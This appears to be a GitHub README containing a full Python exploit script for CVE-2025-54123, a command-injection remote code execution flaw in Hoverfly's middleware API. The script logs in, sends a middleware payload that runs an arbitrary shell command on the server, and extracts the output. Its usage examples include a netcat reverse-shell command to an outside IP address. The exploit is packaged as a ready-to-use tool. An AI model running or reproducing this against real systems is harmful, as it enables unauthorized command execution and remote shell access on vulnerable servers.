README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-54123 Professional Exploit
====================================
Hoverfly Authenticated RCE via Middleware Command Injection (CVSS 9.8 | CWE-78)
Affected: Hoverfly <= 1.11.3
Author: kasemsh
"""
import argparse
import base64
import json
import sys
import urllib.error
import urllib.request
from typing import Tuple, Optional
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
BOLD = '\033[1m'
END = '\033[0m'
class HoverflyExploit:
TIMEOUT = 10
def __init__(self, target: str, username: str, password: str, command: str, shell: str = "/bin/bash"):
self.target = target.rstrip('/')
self.username = username
self.password = password
self.command = command
self.shell = shell
self.token = None
self.api_endpoint = f"{self.target}/api/v2/hoverfly/middleware"
def authenticate(self) -> bool:
"""Authenticate and get JWT token"""
auth_endpoint = f"{self.target}/api/token-auth"
credentials = {
"username": self.username,
"password": self.password
}
body = json.dumps(credentials).encode('utf-8')
req = urllib.request.Request(
url=auth_endpoint,
data=body,
method="POST",
headers={
"Content-Type": "application/json",
"Accept": "application/json",
},
)
try:
with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
response = resp.read().decode("utf-8")
data = json.loads(response)
self.token = data.get("token")
return self.token is not None
except urllib.error.HTTPError as exc:
if exc.code == 401:
return False
raise
except Exception:
return False
def build_payload(self) -> dict:
"""Construct malicious middleware payload"""
return {
"binary": self.shell,
"script": self.command
}
def send_exploit(self) -> Tuple[str, int]:
"""Send malicious middleware configuration"""
payload = self.build_payload()
body = json.dumps(payload).encode('utf-8')
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
}
# Add token if available
if self.token:
headers["Authorization"] = f"Bearer {self.token}"
req = urllib.request.Request(
url=self.api_endpoint,
data=body,
method="PUT",
headers=headers,
)
try:
with urllib.request.urlopen(req, timeout=self.TIMEOUT) as resp:
return resp.read().decode("utf-8", errors="replace"), resp.status
except urllib.error.HTTPError as exc:
return exc.read().decode("utf-8", errors="replace"), exc.code
except Exception as e:
raise e
def extract_output(self, response: str) -> Optional[str]:
"""Extract command output from error response"""
try:
data = json.loads(response)
error_msg = data.get("error", "")
# Extract STDOUT section - it appears after "STDOUT:\n"
if "STDOUT:" in error_msg:
# Split on STDOUT: and take everything after
stdout_parts = error_msg.split("STDOUT:\n")
if len(stdout_parts) > 1:
# Take the content after STDOUT: and before the closing quote/brace
output = stdout_parts[1]
# Clean up the trailing JSON artifacts
if '"}' in output:
output = output.split('"}')[0]
elif '"' in output:
output = output.split('"')[0]
return output.strip()
return None
except json.JSONDecodeError:
# Response might not be JSON, try to extract STDOUT directly
if "STDOUT:" in response:
parts = response.split("STDOUT:\n")
if len(parts) > 1:
output = parts[1].split('"}')[0] if '"}' in parts[1] else parts[1].split('"')[0]
return output.strip()
return None
except Exception:
return None
def exploit(self):
"""Execute RCE exploit"""
print(f"{Colors.CYAN}{Colors.BOLD}")
print("=" * 70)
print(" CVE-2025-54123 | Hoverfly Authenticated Middleware RCE")
print(" CVSS 9.8 CRITICAL | CWE-78 (Command Injection)")
print("=" * 70)
print(f"{Colors.END}")
print(f"{Colors.BOLD}[CONFIG]{Colors.END}")
print(f" Target: {Colors.YELLOW}{self.target}{Colors.END}")
print(f" Username: {Colors.YELLOW}{self.username}{Colors.END}")
print(f" Password: {Colors.YELLOW}{'*' * len(self.password)}{Colors.END}")
print(f" Shell: {Colors.YELLOW}{self.shell}{Colors.END}")
print(f" Command: {Colors.YELLOW}{self.command}{Colors.END}")
print()
# Authenticate first
print(f"{Colors.BOLD}[*]{Colors.END} Authenticating to {self.target}...")
try:
if not self.authenticate():
print(f"{Colors.RED}[!] Authentication failed - invalid credentials{Colors.END}")
sys.exit(1)
print(f"{Colors.GREEN}[+]{Colors.END} Authentication successful")
print(f"{Colors.CYAN} Token: {self.token[:50]}...{Colors.END}")
print()
except Exception as e:
print(f"{Colors.RED}[!] Authentication error: {e}{Colors.END}")
sys.exit(1)
print(f"{Colors.BOLD}[PAYLOAD]{Colors.END}")
payload_preview = json.dumps(self.build_payload(), indent=2)
print(f"{Colors.BLUE}{payload_preview}{Colors.END}")
print()
print(f"{Colors.BOLD}[*]{Colors.END} Sending exploit to {self.api_endpoint}...")
try:
response, status = self.send_exploit()
except urllib.error.URLError as e:
print(f"{Colors.RED}[!] Connection failed: {e}{Colors.END}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[!] Request failed: {e}{Colors.END}")
sys.exit(1)
print(f"{Colors.GREEN}[+]{Colors.END} Server responded: HTTP {status}")
print()
# Show raw response snippet for debugging
print(f"{Colors.BOLD}[RAW RESPONSE SNIPPET]{Colors.END}")
print(f"{Colors.BLUE}{response[:800]}{Colors.END}")
print()
output = self.extract_output(response)
if output:
print(f"{Colors.BOLD}{Colors.GREEN}[COMMAND OUTPUT]{Colors.END}")
print("=" * 70)
print(output)
print("=" * 70)
print()
print(f"{Colors.GREEN}{Colors.BOLD}[✓] EXPLOIT SUCCESSFUL{Colors.END}")
print(f"{Colors.CYAN}Command executed on target system.{Colors.END}")
else:
print(f"{Colors.YELLOW}[!] Command executed but could not parse output{Colors.END}")
print(f"\n{Colors.BOLD}[FULL RAW RESPONSE]{Colors.END}")
print("=" * 70)
print(response)
print("=" * 70)
def main():
banner = f"""{Colors.BOLD}{Colors.RED}
██╗ ██╗ ██████╗ ██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗ ██╗ ██████╗ ██████╗███████╗
██║ ██║██╔═══██╗██║ ██║██╔════╝██╔══██╗██╔════╝██║ ╚██╗ ██╔╝ ██╔══██╗██╔════╝██╔════╝
███████║██║ ██║██║ ██║█████╗ ██████╔╝█████╗ ██║ ╚████╔╝ ██████╔╝██║ █████╗
██╔══██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗██╔══╝ ██║ ╚██╔╝ ██╔══██╗██║ ██╔══╝
██║ ██║╚██████╔╝ ╚████╔╝ ███████╗██║ ██║██║ ███████╗██║ ██║ ██║╚██████╗███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
CVE-2025-54123 | Authenticated Middleware Command Injection
{Colors.END}"""
print(banner)
parser = argparse.ArgumentParser(
description="CVE-2025-54123 Hoverfly Authenticated RCE Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""{Colors.BOLD}Examples:{Colors.END}
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
python3 exploit.py -t http://target:8888 -u user -p secret -c "id" --shell /bin/sh
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "nc -e /bin/bash 10.10.14.5 4444"
""",
)
parser.add_argument("-t", "--target", required=True, help="Hoverfly API endpoint (e.g., http://localhost:8888)")
parser.add_argument("-u", "--username", required=True, help="Hoverfly admin username")
parser.add_argument("-p", "--password", required=True, help="Hoverfly admin password")
parser.add_argument("-c", "--command", required=True, help="Command to execute on target")
parser.add_argument("--shell", default="/bin/bash", help="Shell binary to use (default: /bin/bash)")
args = parser.parse_args()
exploit = HoverflyExploit(
target=args.target,
username=args.username,
password=args.password,
command=args.command,
shell=args.shell
)
exploit.exploit()
if __name__ == "__main__":
main()